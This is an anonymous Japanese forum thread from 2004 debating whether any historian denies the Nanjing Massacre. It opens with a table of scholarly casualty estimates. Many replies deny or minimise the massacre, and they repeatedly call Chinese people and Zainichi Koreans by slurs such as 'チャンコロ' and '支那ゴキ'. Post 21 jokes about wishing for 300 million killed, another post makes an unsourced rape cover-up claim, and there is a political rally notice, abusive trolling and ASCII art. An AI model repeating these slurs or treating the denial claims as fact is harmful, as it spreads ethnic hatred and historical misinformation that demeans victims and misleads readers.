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★南京虐殺を否定する学者は皆無という事実★

1 :名無的発言者:04/11/21 19:48:10
30万というのは南京攻略戦だけでなく、上海事変に派遣された
日本軍が,参謀本部の命令を無視して南京まで攻めのぼった過程
全体で死亡した将兵を含めての数字であって、南京占領後の敗残
兵狩りで殺害された人数ではない。
 南京で戦闘後に殺害された虐殺数についての代表的な諸説は、
以下の通り

主唱者  殺害人数   備考
板倉由明 1万     捕虜の殺害を違法としない
秦郁彦 4万      捕虜の殺害を違法とする
笠原十九司 10数万  捕虜の殺害を違法とする
東京裁判 20万    捕虜の殺害を違法とする

秦郁彦氏が日本軍の戦闘詳報を元に、敗残兵狩りで殺害された中国
兵捕虜と民間人を約4万人と推定している。すでに、複数の実証的
な研究(板倉由明氏による1万人説、秦氏による4万人説、笠原氏
による10数万説、東京裁判は20万人)が存在しているのに、そ
れらを無視して「30万人説」しか存在していないかのように言う
相手には気をつけた方がいい。
 板倉氏や秦氏の説を知らなかったり、東京裁判で30万人とされ
たと主張する人物は、実際には南京事件について実際にはなにも知
らず、自由主義史観や小林よしのりらの著作を鵜呑みにしていると
思ってよい。


2 :名無的発言者:04/11/21 19:55:54
pu

3 :名無的発言者:04/11/21 20:24:27
sage

4 :名無的発言者:04/11/21 20:37:20
>>1は中国人が30万人説を言うので、
中国人を信用してはいけない、という事を言いたいのですよ。

5 :名無的発言者:04/11/21 21:38:21
さすがに「なかった」と言ってるのはいない。
限りなく「なかった」に近いことを言ってるのは
いるが、歴史学者じゃないしな


6 : :04/11/21 21:41:26
大虐殺などなかったに決まってっぺ。
誤射はあったかも知らんが、それは支那人テロリストが悪い。
当然しょ。

7 :大和侍 ◆ULigQOGop. :04/11/21 21:51:53
>>1ことkouei41よ、達者じゃったか。

いつまでも寝糞たれておらんで、表に出て元気に遊ばれよ。
大丈夫じゃ、今からでも遅くは無い。拙者がついておる。

8 :名無的発言者:04/11/21 21:56:08
>秦郁彦氏が日本軍の戦闘詳報を元に、敗残兵狩りで殺害された中国
>兵捕虜と民間人を約4万人と推定している。

敗残兵狩りで殺害されたシナ兵は南京虐殺とは無関係。
民間人殺害を記した戦闘詳報など存在しないよ。
秦郁彦っていい加減な学者だなあ。

9 :名無的発言者:04/11/21 22:02:31
支那人は妄想を垂れながら逝きる珍獣ですな。

10 :名無的発言者:04/11/22 08:45:12
>>8
無職のオマエが言ってもなぁ。

ちゃんと反論してる学者を挙げてよ

11 :名無的発言者:04/11/22 09:03:03
やっぱkoueiか・・みんなコイツは有名な粘着在日のキチガイですので、
スルーしてください。

以下レス禁止。

12 :名無的発言者:04/11/22 09:03:59
>>10ごまかさないでください、キチガイ。南京大虐殺があった証拠を出してください。

13 :大和侍 ◆ULigQOGop. :04/11/22 11:38:51
皆の衆、kouei42をいぢめては逝かん。
kouei43は天然痘にも似た絶滅危惧種でござるぞ。
ここは一つ皆の温かい慈悲の心で包んであげようではござらぬか。

これkouei44よ、隠れてないで堂々と名を名乗られよ。尻尾が見えておるぞ。

14 :名無的発言者:04/11/22 11:40:59

今年の西安大学での反日暴動の際、日本人女性留学生が寮でレイプされ、
外務省は中国西安地区渡航延期勧告を出そうとしたところ、中国側から「苦情」が
入り、日本外務省は中国側に屈服する形で、結局勧告を出しませんでした。

な  ぜ  マ  ス  コ  ミ  は  報  道  し  な  い  の  か?






15 :名無的発言者:04/11/22 11:42:12
>>14ソースきぼん

16 :名無的発言者:04/11/22 18:46:52
>>12
無職のオマエが言ってもなぁ。

ちゃんと反論してる学者を挙げてよ


17 :名無的発言者:04/11/22 18:55:14
>>16煽らないでください、キチガイ。南京大虐殺があった証拠を出してください。


18 :名無的発言者:04/11/22 19:05:15
粘着の在日koueiにはこの手でいくべきだなw

19 :肯定派の詭弁ガイドライン:04/11/22 19:21:00
真っ当な意見と見せかけ、実は詭弁で論点をはぐらかす輩が多々おります。
皆様も以下の「詭弁の特徴15条」を覚え、そういう輩を排除しましょう。

 1:事実に対して仮定を持ち出す
     「じゃあもし確固たる虐殺の証拠が発見されたらお前はどうする気だ?」
 2:問題とはおおよそ無関係な反例をとりあげる
     「日本兵は便衣兵殺害、便衣兵狩りに多くの一般市民を巻き込んだのだが」
 3:自分に有利な将来像を予想する
     「何年か後には、南京大虐殺はあったという説が一般的になっているだろう」
 4:主観で決め付ける
     「日本軍が現地で何もしてないはずがない」
 5:資料を示さず自論が支持されていると思わせる
     「すでに世界では、南京大虐殺はあったという見方が一般的なのだが」
 6:一見関係ありそうで関係ない話を始める
     「南京大虐殺が捏造なら広島長崎への原爆投下も捏造ですね」
 7:陰謀であると力説する
     「それは、南京大虐殺があると都合の悪い右翼が画策した陰謀だ」
 8:知能障害を起こす
     「お前頭おかしいんじゃねーの?バーカバーカ!」


20 :肯定派の詭弁ガイドライン:04/11/22 19:21:30
 9:自分の見解を述べずに人格批判をする
     「南京大虐殺がないなんて言う奴は、社会に出てない証拠。現実をみてみろよ」
 10:身勝手な解決策を図る
     「結局、ウヨが捏造を止めればいいんだよね」
 11:レッテル貼りをする
     「南京大虐殺が無かっただなんて妄想にしがみつく右翼はイタイね」   
 12:決着した話を蒸し返す
      「ところで、お前はなぜ南京大虐殺が無いと思うんだ?」
 13:勝手に勝利宣言する
     「南京大虐殺がなかったという論はすでに何年も前に論破されてる事なのだが」
 14:細かい部分のミスを指摘することで自分のほうが良く知ってると錯覚させる
     「南京大虐殺の証拠はそれだけじゃない。もっと勉強しろよ」
 15:問題そのものを自分に都合のいいように捏造する
     「南京の被害者は30万人ではなく1〜4万人なのだが」


21 :名無的発言者:04/11/22 20:06:24
帝国陸軍の最大の虐殺がカンボジアのポルポトごときに負けているのは日本人として悲しいです
スターリンや文化大革命に及ばないのは仕方ないかもしれないが・・・・
3億人虐殺できたら日本は戦勝国になれたかもしれない・・・

22 :名無的発言者:04/11/22 20:45:10
たかじんの番組で西尾が否定論バンバン熱弁してたね。
それにひきかえ肯定派は番組が一生懸命探したのに一人も出てこなかった
まだ募集してるから肯定派の学者どうぞ出てきてください。

23 :名無的発言者:04/11/22 21:26:31
A・虐殺行為はあった。ハーグ規定の解釈に法議論の余地有り。(肯定派〜否定派の研究者、偕行社、朝日、産経など)
(論拠)戦闘詳報、スマイス報告、当事者の将兵の証言や日記など。

B・虐殺行為自体なかった。(一部2ちゃんねら)
(論拠)日本に不利な論拠は戦闘詳報さえ認めない。日本に有利な論拠は証言でも認める。博物館の骨は偽物確定。

C・民間人を対象にした30万大虐殺があった。(中国)
(論拠)被害届や埋葬記録など。


俺はA

24 :名無的発言者:04/11/22 22:03:21
>>18
煽らないでください、キチガイ。南京大虐殺を否定する学者の名を出してください。

25 :名無的発言者:04/11/22 22:05:37
本宮ひろ志『国が燃える』掲載中止・報告勝利集会
日時 11月30日(火)18時30分から
場所 文京区民センター 03−3814−6731
都営三田線・春日駅下車0分
会費 3,000円(飲食代を含む)
基調報告 酒井信彦(東京大学歴史編纂所教授)
     阿羅健一(百人斬り訴訟を支援する会会長)
挨  拶 松村久義(維新政党・新風 東京本部代表)
◆ 国民の抗議によって、集英社は『国が燃える』の掲載中止と、係争中の百人斬り訴訟の
  原告・ご遺族へ謝罪文を提出しました。朝日新聞をして集英社の訂正・削除を「これで南京
  虐殺の場面はほとんど消えてなくなる」と嘆かせる成果を上げました。
  多くの国民が参加した抗議が出版界では「異例」(朝日新聞)とされる結果を勝ち得ました。
  今後の教訓を発展させる上でも、この成果を多く方々と共有・確認しましょう。
  当日は『日本海海戦勝利百周年記念ビール』をご用意しております。皆様のご参加をお待ちし
  ております。
主 催  維新政党・新風代表 魚谷哲央  
     呼掛人  古賀俊昭 (東京都議会議員)
          佐藤ひろ志(英霊にこたえる会広報委員長)
          永山英樹 (台湾研究フォーラム代表)
          蓮見一郎 (自由主義研究会監査役)
          槇 泰智 (政経調査会代表)
          四宮正貴 (四宮政治文化研究所所長) 

26 :名無的発言者:04/11/22 23:31:19
通りすがりですが1に対してまともな反論レスがないですね

27 :名無的発言者:04/11/22 23:34:30
一生懸命考えましたね。
おめでとう。

28 :名無的発言者:04/11/22 23:35:56
毎回おんなじスレ立ててる基地害だぜ
もう飽きた

29 :名無的発言者:04/11/22 23:37:04
浅見?

30 :名無的発言者:04/11/22 23:39:51
>>1
                      ∩__∩__
                   : / ノ      ヽ
                    /    ―  ―| :   プルプル
                  : |       ( _●_)ミ
                   彡、,      |∪| ノ :
                  γ         ヽノ
   ぶりぶり             ノ         \\
     ぶりぶりっ・・・ ⊂γ      __\  \\_
                ●l         `ヽ、   ̄)_)_
            / ヽ-'ゝ__,ノ    ノ  ̄ ̄___ _____ ヽ
          ⊂/ |    γ´   __/'",r"※※※※※※ヾ
           │      /  /´ /※※※※※※※※※\
.          ⊂丿    ミ人__ノ  /※※※※※※※※※※※\
         /  \、._,,,,,/  / ※ ※ ※ ※ ※ ※  ※  \
        <、___,,,,/ ./※ ※ ※ ※ ※ ※ ※ ※  | ヽ
      /      / ∠...._________________ ノ |
     <______(、.____________________________________________________ノ

31 :名無的発言者:04/11/23 07:30:04
http://www.geocities.jp/yu77799/giseisha.html
30万人説を否定する学者はいても、南京虐殺を否定する歴史学者は皆無
でつね。ウヨはまともな反論ができなくなると、ただただ罵詈雑言
を並べるしかないのでした。

32 :名無的発言者:04/11/23 07:39:01
>>24 >>31

質問に答えてませんよ。南京大虐殺があった証拠をだしてください。

33 :名無的発言者:04/11/23 08:32:52
Mayさん、休みの日位外出したら?根詰めると体に毒だよ。

34 :名無的発言者:04/11/23 08:59:45
何人以上が大虐殺と定義されるんだ?
人口1億人以上の日本を小日本というくらいだから3億人以上か?

大100万以上、中10万以上、小1万以上それ以下は殺人だろう
南京小虐殺なら否定できないが、そのくらいなら南京以外でも虐殺あっただろう
なぜ南京にこだわるのか理解できない




35 :名無的発言者:04/11/23 09:02:23
そりゃあなた、今現在進行中の虐殺を隠蔽するためアルよ!

36 :名無的発言者:04/11/23 09:18:14
単なる虐殺目的で1万人もいないでしょう。
てか現場検証もさせないでよく言うよな、中共は。

37 :名無的発言者:04/11/23 09:31:41
実際は千人程度だろう

38 :名無的発言者:04/11/23 09:37:22
>>37
もっとすくないんじゃん?
多分、裁判も受けずに虐殺された日本兵より少ないのでは?

39 :名無的発言者:04/11/23 09:43:33
もし虐殺が本当に行われたとしても昔の悪より
現在進行形で世界各国で悪事を行っている事の方が
問題だと思うけど。

ていうか学者がいるいないとかどうでもいいじゃんw


40 :名無的発言者:04/11/23 10:07:08
現場検証させない限り、中共の言う事は信用できません。さしんや証言も
嘘だらけだったわけだし。

41 :名無的発言者:04/11/23 10:11:20
中国が「虐殺はあった」って言ってるんだから無いに決まってるって。

42 :名無的発言者:04/11/23 10:11:35
アヒャヒャヒャヒャ

43 :名無的発言者:04/11/23 10:13:01
人がどう言ってるかは関係無いだろう。
先生がこういってるもん、じゃ小学生だw

44 :名無的発言者:04/11/23 10:14:48
>>43
先生が「虐殺はあった」って言ってるんだから無いに決まってるって。

45 :名無的発言者:04/11/23 10:16:39
日教組の先生は何でも正しい!

46 :名無的発言者:04/11/23 10:29:02
問題は6週間で30万南京で殺害という公式コメントを出している
中国のプロパがあるかないかだ。
その辺の論点をずらす香具師は媚中

47 :名無的発言者:04/11/23 10:33:22
          _Y_
            r'。∧。y.
         ゝ∨ノ       >>1が糞スレ             ,,,ィf...,,,__
          )~~(             立てている間に   _,,.∠/゙`'''t-nヾ ̄"'''=ー-.....,,,
         ,i   i,                        ,z'"    ̄ ̄ /n゙゙''''ー--...
         ,i>   <i     文明はどんどん発達し    r”^ヽ      く:::::|::|:::〔〕〔〕
         i>   <i.     ていく・・・・・・。      入_,..ノ ℃      ̄U ̄_二ニ=
`=.,,ー- ...,,,__  |,r'''"7ヽ、|  __,,,... -ー,,.='             >ーz-,,,...--,‐,‐;;:'''""~
  ~''':x.,,  ~"|{ G ゝG }|"~  ,,z:''"                     ___
      ~"'=| ゝ、.3 _ノ |=''"~      <ー<>         /  l ̄ ̄\
        .|))    ((|        / ̄ ゙̄i;:、      「 ̄ ̄ ̄ ̄| ̄| ̄ ̄ ̄\
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                   |_. └ー┘ ._| ||/
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48 :名無的発言者:04/11/23 12:22:54
30万人説・中国側が極東軍事裁判、南京軍事法廷に提出した被害届、埋葬記録等によるもの。

十数万人以上説・肯定派の主流。幅広い資料を参考。
本田勝一氏らの南京事件調査研究会など。

4万人前後説・戦闘詳報やスマイス報告等による。中間派と言われる。
秦郁彦(千葉大学教授)の判断。朝日がコラムで支持も(統一見解は無し)。

2万以下説・戦闘詳報やスマイス報告等による。否定派とも言われる。
偕行社、板倉由明氏。産経が支持。

数百人説・国際委員会が認定した『非行』による殺人事件の被害者49人(板倉由明氏カウント)を数倍。一般兵捕虜殺害や便衣兵掃討などで巻き込まれた一般市民は含まず。
一部2ちゃんねらーが支持。
板倉由明氏自身は、民間人犠牲者数を一万五千ないし一万六千、そのうち不法殺害を五千から八千と考えている。

虐殺否定説・殺害ゼロではなく法解釈の問題。ハーグ規定に違反する確証がないとする。
中国防衛軍はハーグ規定に基づく捕虜資格がないので(司令官が逃げた等)、投降時や拘束後に殺害しても問題なし等の解釈。
東中野修道(亜細亜大学教授)など。


49 :chinese :04/11/23 12:24:36
fuck Japanses!!!!!!!

50 :名無的発言者:04/11/23 12:30:26
コカントウ国家主席よ、ドラックは程々にしとけや。
そのうち鉛筆も満足に持てなくなるぞ。

51 :名無的発言者:04/11/23 15:39:01
やっぱり無かったなんて言ってるのはキチガイだったんだ。

52 :名無的発言者:04/11/23 16:06:38
なかったよ。
日本軍が南京で一般市民を虐殺したとする一次資料は皆無。

>>48
>数百人説・国際委員会が認定した『非行』による殺人事件の被害者49人

だが、日本軍による南京市民虐殺を実際に目撃した国際委員は一人もいなかった。

『南京事件の総括』P171 田中正明著 展転社
 こうした要望や告発の日本側窓口は、当時外交官補の福田篤秦氏である。
福田氏はのちに吉田首相の秘書官をつとめ、代議士となり、防衛庁長官、行政管理庁長官、郵政大臣を歴任した信望のある政治家で、筆者とも昵懇の間柄である(東京千代田区在住)。
福田氏は当時を回顧してこう語っている。
 「当時ぼくは役目がら毎日のように、外人が組織した国際委員会の事務所へ出かけた。
出かけてみると、中国の青年が次から次へと駆け込んでくる。
 『いまどこどこで日本の兵隊が十五、六の女の子を輪姦している』。
あるいは『太平路何号で日本軍が集団でおし入り物をかっぱらっている』等々。
その訴えをマギー神父とかフイッチなど三、四人が、ぼくの目の前で、どんどんタイプしているのだ。
 『ちょっと待ってくれ。君たちは検証もせずにそれをタイプして抗議されても困る』と幾度も注意した。
時には彼らをつれて強姦や掠奪の現場に駆けつけて見ると、何もない。住んでいる者もいない。
そんな形跡もない。そういうこともいくどかあった。
 ある朝、アメリカの副領事館から私に抗議があった。
『下関にある米国所有の木材を、日本軍がトラックで盗み出しているという情報が入った。何とかしてくれ』という。
それはいかん、君も立ち会え!というので、司令部に電話して、本郷(忠夫)参謀にも同行をお願いし、副領事と三人で、雪の降る中を下関へ駆けつけた。
朝の九時頃である。現場についてみると、人の子一人もおらず、倉庫は鍵がかかっており、盗難の形跡もない。
『困るね、こういうことでは!』とぼくもきびしく注意したが、とにかく、こんな訴えが、連日山のように来た。
http://www.geocities.co.jp/Bookend-Ryunosuke/8312/page054.html

53 :名無的発言者:04/11/23 16:13:02
大虐殺はなかった。
虐殺はあった。

●南京の虐殺●

1・投降兵、拘束兵の殺害
2・便衣兵殺害、便衣兵狩りに多くの一般市民を巻き込んだ

2は中国側の責任も重いが、「日本軍の虐殺が無かった」論拠ではない。


54 :名無的発言者:04/11/23 16:41:58
>>53
便衣兵の殺害は当然のことであり、到底、虐殺とは言わない。
投降兵の殺害は、アメリカなどのほうが遥かに酷く、各国が行っていたこと。
リンドバーグの日記でも読みな。

55 :名無的発言者:04/11/23 16:55:52
やっぱり無かったんだ。
支那ゴキがけちつけてくるの、おかしくね?

56 :名無的発言者:04/11/23 17:11:39
鬼畜中国政府により一人のチベット僧が虐殺されそうになっています。
救出のためにご協力ください。

神社仏閣板スレッド
チベットの坊さんが死刑にされそうなんだって
http://travel2.2ch.net/test/read.cgi/kyoto/1101185742/l50

関連ホームページ
http://www.geocities.jp/t_s_n_j/savetenzin/index.html

※この文をコピペしてあちこちに貼り付けていただけると
幸いです。

57 :名無的発言者:04/11/23 23:01:32
”東京裁判を肯定する学者は皆無”の方が適切かと。

58 :名無的発言者:04/11/24 08:46:05
…で、南京大虐殺否定してる学者は誰よ?

59 :名無的発言者:04/11/24 10:00:46
22 :名無的発言者 :04/11/22 20:45:10
たかじんの番組で西尾が否定論バンバン熱弁してたね。
それにひきかえ肯定派は番組が一生懸命探したのに一人も出てこなかった
まだ募集してるから肯定派の学者どうぞ出てきてください。

60 :名無的発言者:04/11/24 10:26:37
>>53
1.証拠を出せ。
2.一般市民にまぎれ込んだテロリストが悪い。

61 :大和侍 ◆ULigQOGop. :04/11/24 11:17:16
>>kouei44よ

発言の中身はどうあれ、堂々と自説を貫き通す貴殿を拙者ある意味、
一目置いていたのじゃが・・・便衣兵とは・・・あぁ情けない。
逃げも隠れもせぬからこその貴殿ではないのか。
アイリスも草葉の陰で泣いておるぞ。

62 :名無的発言者:04/11/24 17:40:22
良識ある学者は南京虐殺は平服になったゲリラを虐殺したと認識している。
当然、平服になったゲリラは処刑しても問題無いと知っている。
よって中華が言う南京虐殺は捏造だとも認識している。

63 :華夏皇帝 ◆6mcZiFtm/6 :04/11/24 17:47:54
倭豚軍の行く所、向かう所、出向く所、婦女子は強姦されて泣き叫び、
老人子供は虐殺されて逃げ惑う恐るべし軍隊だ。

南京市民を50万人も虐殺した倭国は中華に対して半永久的に謝り続けねばならない。

64 :名無的発言者:04/11/24 18:47:56
>>63ごまかさないでください、キチガイ。南京大虐殺があった証拠を出してください。


65 :心の綺麗な人:04/11/24 18:49:33
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   ,-、 |  ゙、    ゙、-┐    |   ',    ', キチガイはYouですわ
   ゙、 ヽ   i、.    '-'    / |    ':,   ゙,
    ', ',  | `i ‐ 、_____, -'-‐‐' ',     ':,  ゙,
   r-‐‐、 ,-、 !  ヽ r|      ',    ヽ.  ':,
   ノ -ュ‐´   } |ヽ/´/    / ':,    \ ':,
  { 、_ `''i7'" }_,ィ´  ,'   /    ゙'ー-、   ヽ ':,
  i´ __ `Y   /{ヾ , ,'   /   _,;;;===\  ) ':,


66 :名無的発言者:04/11/25 07:41:53
>>64
虐殺の証拠はもういいよ。
それより否定してる歴史学者が本当にいないのか、確かめたい。

67 :名無的発言者:04/11/25 07:48:45


         「\     __    __
         │ト、l、 /´, '`⌒'´ `ヽ: : .
          ヾヽ!lV/ / ,/ /  ,' ハ、: .
       ,ィニ≧ゝレ' / /  ,./   / , ハ : : .
      く<-‐7´ _」] l l/_,∠/   / / / い : : .
        ̄ノ/: :f r'l l /レ'/、_/‐ト'、/l| li l : : : : .
      . : {ハ : :|{(l|y==ミ   _ノ、/ソリ ll | : : : : :
      : : : :ヽヽ: :|、lハl、゙      ⌒ヾlノリ ll l : : : : : :  支那崩壊
      : : : : : : : : V\ヽ、 `ー  ゛ノルんイリノ : : : : : :  
      : : : : : : : : : ,.--、_ハ`−r=ニ--、′ノ. : : : : : : :
      : : : : : : : : /  /-ョロ'ヲ´   i l : : : : : : : : : :
      : : : : : : : 〈  ,ハフ'兀「     ! } : : : : : : : : :
      : : : : : : : : ヽ,   ト{‐lハ. ヽ ' ノ : : : : : : : :
        : : : : : : : 〈 ,  !{ソ   ヽl/|、: : : : : : : :   ,r-、
       : : : : : : `ヽ  V     j _ノ ,スヘ_ノ7--−イ∧〈
          : : : : : : : { /     ,ハ、  _//く 〈 ___ r'九〈ハ.}
          : : : : : : :レ'    ' ,ハヘニイヽ_厂 、ノソト}〈V´
            : :_ノ−- 、'  {∧ トヘ_「    {Y: :仔 之_
            〈l ̄>-、_ 丶レ^ヽ厂`    上l_:/Z/ソ‐′
        r个y'⌒ll_,/‐、;_,、ト、__ト、  ` ー/「>,、 └トf‐′
      {_Y^lヽ、,ど , ,  〈__j,ハ、) 、_イソ´`ヽヘ、ノ、lフ
      ヽ>ゝハ 〈ノ{ l! ハ_j人lJ  /ソ: : : . ノフく_.イ
       〉 〈、ソ´ UU     、ノ入 : :__rクー<__〉
      ∠__, 〈_⊥、′  i  _,rくソヽ√ヽフ
         j__ルく_/T'┬_ヒス⊥イ \ノ
            ヽ√ \丿 ヽ/




68 :心の綺麗な人 ◆zbKTUxMyYw :04/11/25 07:54:58
>>67
くっくっくっく、あっはっはっはっはっはーーーーーーーー。
それが誰にわかる?なにがわかる!?なぜわかる?分からぬさ!誰にも!
  

69 :名無的発言者:04/11/25 08:30:51
白痴チャンコロは氏ね

70 :名無的発言者:04/11/25 09:04:14
>>66ごまかさないでください、キチガイ。南京大虐殺があった証拠を出してください。

71 :名無的発言者:04/11/25 10:06:04
この時点で、なかったと判断さざるをえない。

72 :名無的発言者:04/11/25 11:14:17
















糞スレ アゲルナ














.

73 :名無的発言者:04/11/25 12:50:39
>>63
50万?20万しかいない南京でか?

支那畜は算数もできない北京原人ですねw

てか、元寇の謝罪と賠償してないお前らに謝罪要求の資格なし
チベットで120万虐殺も賠償すべし


話はそれからだw日本から謝罪する必要はまったくなし!!


74 :名無的発言者:04/11/25 14:26:34
>73













ダカラ
クソスレ アゲルナ















.

75 :名無的発言者:04/11/25 18:32:53
          ,'     |  | |   !l l   | l  l !
           i   !   |   | |   | j___j |  |i i!
           |i!  l  ,.|‐T丁i!   ハlj, --!`トlノ、||
           | !  !  レ'i´`j    "i´ `iヽ, i ||  _
           | l  |i   iバ__ソ     L__ソ /.ノ |! _ヽ)
           | |  |l  |、//// '  ///// |! |i ヽ)
           !ハ |!  |,ゝ' ´ ̄ ̄ ` く  レy'|!
          __,ノ レ'ヽiハ /             \}'´ ̄ `ヽ、
    ィ´ ̄/    ,べY  大虐殺の証拠    Y`i__    \
    〉/    / , 、ヽ出せないんですか?/_`ヽ\    \
   ,ィ'ん、  / ! '´__ ヽ           /´__,.` ', \   ァ'`
   `ヽ、/ー'   /!   __`ヾ!           レ'´ _,.  !   \ i

76 :名無的発言者:04/11/25 18:35:50
南京事件の被害者の冥福を祈るために
中国にも靖国神社を建立したらどうだろう?
不本意だが中国の民度の低い人達にも参拝を
許可してあげよう。
ちゃんと祈れよ。


77 :名無的発言者:04/11/26 02:12:21
一応貼っとくか。
ttp://www5.tok2.com/home/JOHNVOID/nankin_faq.html

78 :名無的発言者:04/11/26 07:50:45
>>73
1を読め、バカ。
「南京虐殺」の有無についての議論はそういうスレでやりなさい。
ここは「南京虐殺否定論の学者」の有無を論じるスレです

79 :名無的発言者:04/11/26 08:48:13
>>77-78ごまかさないでください、キチガイ。南京大虐殺があった証拠を出してください。

80 :名無的発言者:04/11/26 11:36:48
↓人民日報の記事における重慶爆撃とシナ勘定

投稿日: 08/09/2004 10:09 PM

毎年ドンドン犠牲者増えるのは
ちょっと変。

http://ime.nu/people.ne.jp/2000/07/13/newfiles/a1120.html
↑2000年7月13日の記事「死亡した2500人の同胞」

http://ime.nu/people.ne.jp/2001/06/06/jp20010606_6193.html
↑2001年6月6日 市民1万1889人が死亡、1万4100人が負傷

http://ime.nu/j.people.com.cn/2004/07/14/jp20040714_41277.html
↑、旧日本軍による「重慶大爆撃」の被害者は5万人以上


81 :名無的発言者:04/11/26 11:38:23
>>80
たった4年間で20倍?
凄い国だなあ・・・。

82 :名無的発言者:04/11/26 11:56:24
東京裁判で完結した話を今更どうこう言う事に意味はない。
南京は国府の首都で、戦勝国は国府だ。
中共にも学者にも関係ない話だ。

東京裁判で完結していることに因縁を付ける行為は、東京裁判の
無効性を主張しているのと同じで、連合国の戦後処理を完全否定
する事に等しい。
そうなるとA級戦犯云々って話も棚上げにしないとおかしい。

東京裁判を遵守するなら、「裁判において認定されたことのみを事
実とし、責任問題は裁判ないで処理されたもので完結している事を
承服すべき」である。

違う根拠を持ち出せば、裁判で確定した責任所在者は未決囚にな
るので、現時点で戦犯は皆無になり、受け取った賠償は返還しなけ
ればならなくなる。

裁判内で決まった事は、公式な事実(真実との相違があって構わな
い)なので、あれこれ議論したところで何も変える事はないし、その必
要も無い。

83 :名無的発言者:04/11/26 12:59:54



   ノノハヽ
   从*‘ー‘从 <痔だぎゃ
    (⊃⌒*⌒⊂)
     /__ノψヽ__)




84 :名無的発言者:04/11/26 15:52:14
>>1
まあ、反論するのも馬鹿馬鹿しいが不勉強な奴には教えてやらねば。

南京城内の便衣兵は武器を捨て自衛の手段尽きて降伏を求める者ではなかったのだから彼等の掃討は合法。

85 :名無的発言者:04/11/26 15:53:32
>>82
サンフランシスコ講和条約第十一条ですか。これはアムネスティ(国際法上の恩赦、講和条約発効が戦争犯罪人を
免責するという国際慣習法)の対日不適用と言いまして、要するに講和条約発効後も連合国が赦すまで日本政府は
戦犯とされた自国民に対する刑罰の執行を継続すべし、という意味です。実証歴史学が、東京裁判史観を墨守しよう
とする反日左翼共の虚偽解釈を採ってもいいのかねぇ。







86 :名無的発言者:04/11/26 16:25:39
>>84
君も馬鹿馬鹿しいほど不勉強。
日本軍が殺害した拘束兵は、便衣兵だけではない。

87 :名無的発言者:04/11/26 16:36:19
>>86
だからその殺害したという根拠・証拠を挙げてみろ。
馬鹿者。

88 :名無的発言者:04/11/26 16:42:01
>>87
日本軍が殺害した拘束兵が、全員便衣兵と言う研究者は居ない。
全ての研究者を認めないつもり?

「上海派遣軍司令部野戦郵便長 佐々木元勝の日記」
十二月十六日−
麒麟門で敗残兵との一戦では、馬群の弾薬集積所で五名の兵が、武装解除した二百人を後手に縛り、昼の一時頃から一人づつ銃剣で突刺した。・・・・・・夕方頃、自分で通った時には二百人は既に埋められ、一本の墓標が立てられてあった。


89 :名無的発言者:04/11/26 17:37:18
『南京大虐殺を世界遺産に』中国で申請構想

【上海=豊田雄二郎】旧日本軍による虐殺事件をテーマにした「南京大虐殺
記念館」(江蘇省南京市)の敷地面積を現在の三倍強に拡充し、ユネスコの
世界文化遺産に登録申請する構想が二十五日明らかになった。中国各紙によると
政府が総額五億四千万元(約七十億円)を投じ、事件から七十年目の二〇〇七年
までに現在の二・二ヘクタールから七・四ヘクタールに拡大する。
これにより、ユネスコが文化遺産の条件とする「広さ五・三三ヘクタール
以上」を満たすとしている。各紙は「アウシュビッツ強制収容所」と「広島の
原爆ドーム」は既に文化遺産に登録されており、南京も「世界の人々が歴史を
学び、過ちを繰り返さないために大きな意味がある」と強調している。
南京市政府は東京新聞の取材に「計画はまだ正式に国から認められていない。
ただ、拡充するなら世界遺産の基準に合わせたい」としている。
(メモ)南京大虐殺 日本軍は1937年12月に南京を包囲、占領。多くの
民間人を虐殺したとされる。中国側は犠牲者30万人と主張している。
記念館には事件の全体像や裁判記録、旧日本兵士の証言、敷地内で発掘された
犠牲者の遺骨などが展示されている。(東京新聞)

90 :名無的発言者:04/11/26 18:06:14
>>88
そんなのより大虐殺の証拠はまだですか?

91 :名無的発言者:04/11/26 21:02:45
否定しようとする者は最後まで否定し続ける。

どのような証拠を提示されようとも。

92 :名無的発言者:04/11/26 21:53:31
なにその負け惜しみ( ´,_ゝ`)プッ

93 :名無的発言者:04/11/26 22:15:40
証拠もないのに「虐殺だ」と言われて
「はいそうですかすみません」と言う日本人って
一体何なんだ?

94 :名無的発言者:04/11/26 22:21:55
――――――――――-.
                 \
                   \
                     |
       ジェンキン寿司    .|
――――--------------‐--、/
    J .!  .! t  ! l、   l、 ゝ.\  
   / \ヽ ヽ|  l, !    |  !  \    
  .、l ー'‐ヽゝrヽヽ ヽヽ   | .! !  .'ュヽ 
  .|| _________‐-ミ、─ニゝヽ  / ./│   l‐ト、   
  .|゙ `'´、 r‐ヽ 、 ! `'  !  ! / ,l|   | !..!.!   
   |   ' ̄‐‐‐'      .〃~'イ |  .! .! .!|          
  !             イニ\ ∨ ./ | 亅.l!   
  !            l、`ヽ.l |,/ /  | | ./          
\  !           ‐'  ` '|゙ !  /'l/            
  `ヽ」      `=─ 、     !ノ  ノ/       
           ̄    / ,ィ| l   あらぁ。下僕は勝手に歩き回ってはダメよぉ
 、         ´    ィニ─'l !| !  言うこと聞かないとジャンクにするわよ
   `-、,         , r'´   ! | !ノ     /|         
 -‐''' ,ノニ- 、___, ‐'  |    /  l、    ./ !            
  - |/゛ /,_|'' \   .!   /、  |    / /      
  ヽヽ  ,ノy .!|.ヽ \\ /   l .ヽ .!   / ,ノ

95 :名無的発言者:04/11/26 22:24:22
  .-、  _
  ヽ、メ、〉      r〜〜ー-、__      _____________________
  ∠イ\)      ムヘ._    ノ     |
   ⊥_      ┣=レヘ、_ 了     |  >>91負け惜しみはいい!
-‐''「 _  ̄`' ┐  ム  _..-┴へ   <   証拠を出せ、大虐殺の証拠を!!
  | |r、  ̄ ̄`l Uヽ レ⌒',    ヽ.   |  
  (三  |`iー、  | ト、_ソ   }     ヽ  |
  | |`'ー、_ `'ー-‐'    .イ      `、  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | |   `ー、    ∠.-ヽ      ',
__l___l____ l`lー‐'´____l.      .|
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄||  .|      |
               ||  |__.. -‐イ
               ||   |

96 :名無的発言者:04/11/26 22:53:08
邪馬台国はハワイにあった
程度のネタだろ

97 :名無的発言者:04/11/26 22:59:51
>>96
ウケタwwwwwwwwwwwwwwwwwwwwwwwwwwww

98 :名無的発言者:04/11/26 23:01:31
まず「虐殺」の定義を教えてください

99 :名無的発言者:04/11/26 23:03:54
ありきたりのリアクション、ありがとう。

100 :名無的発言者:04/11/26 23:29:47
>>98
とりあえず30万人殺した証拠をどうぞ。

